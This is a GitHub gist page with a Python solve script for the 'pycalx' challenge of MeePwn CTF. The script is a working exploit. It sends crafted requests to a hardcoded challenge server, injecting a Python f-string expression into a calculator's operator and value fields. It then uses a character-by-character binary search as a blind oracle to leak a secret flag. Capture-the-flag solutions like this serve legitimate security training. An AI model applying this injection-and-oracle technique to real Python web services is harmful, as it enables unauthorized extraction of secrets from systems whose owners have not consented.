Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
A solve python file of pycalx, MeePwn CTF
import requests
import string
def judge(s,j):
t = s + j
# url = 'http://178.128.96.203/cgi-bin/server.py'
url = 'http://206.189.223.3/cgi-bin/server.py'
d = {'value1': 'True','op':'+f', 'value2':'{sys.__package__ if source <= FLAG else 0/0}', 'source':t}
r1 = requests.get(url, params=d)
if 'Invalid' in r1.text:
return False
else:
return True
s = "MeePwnCTF{"
ptable = sorted(string.printable)
ptable = list(ptable)
print(ptable)
for i in range(100):
l = 0
r = len(ptable) - 1
while l < r:
m = (l + r) // 2 +1
if judge(s,ptable[m]):
l = m
else :
r = m -1
s += ptable[l]
print(s)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment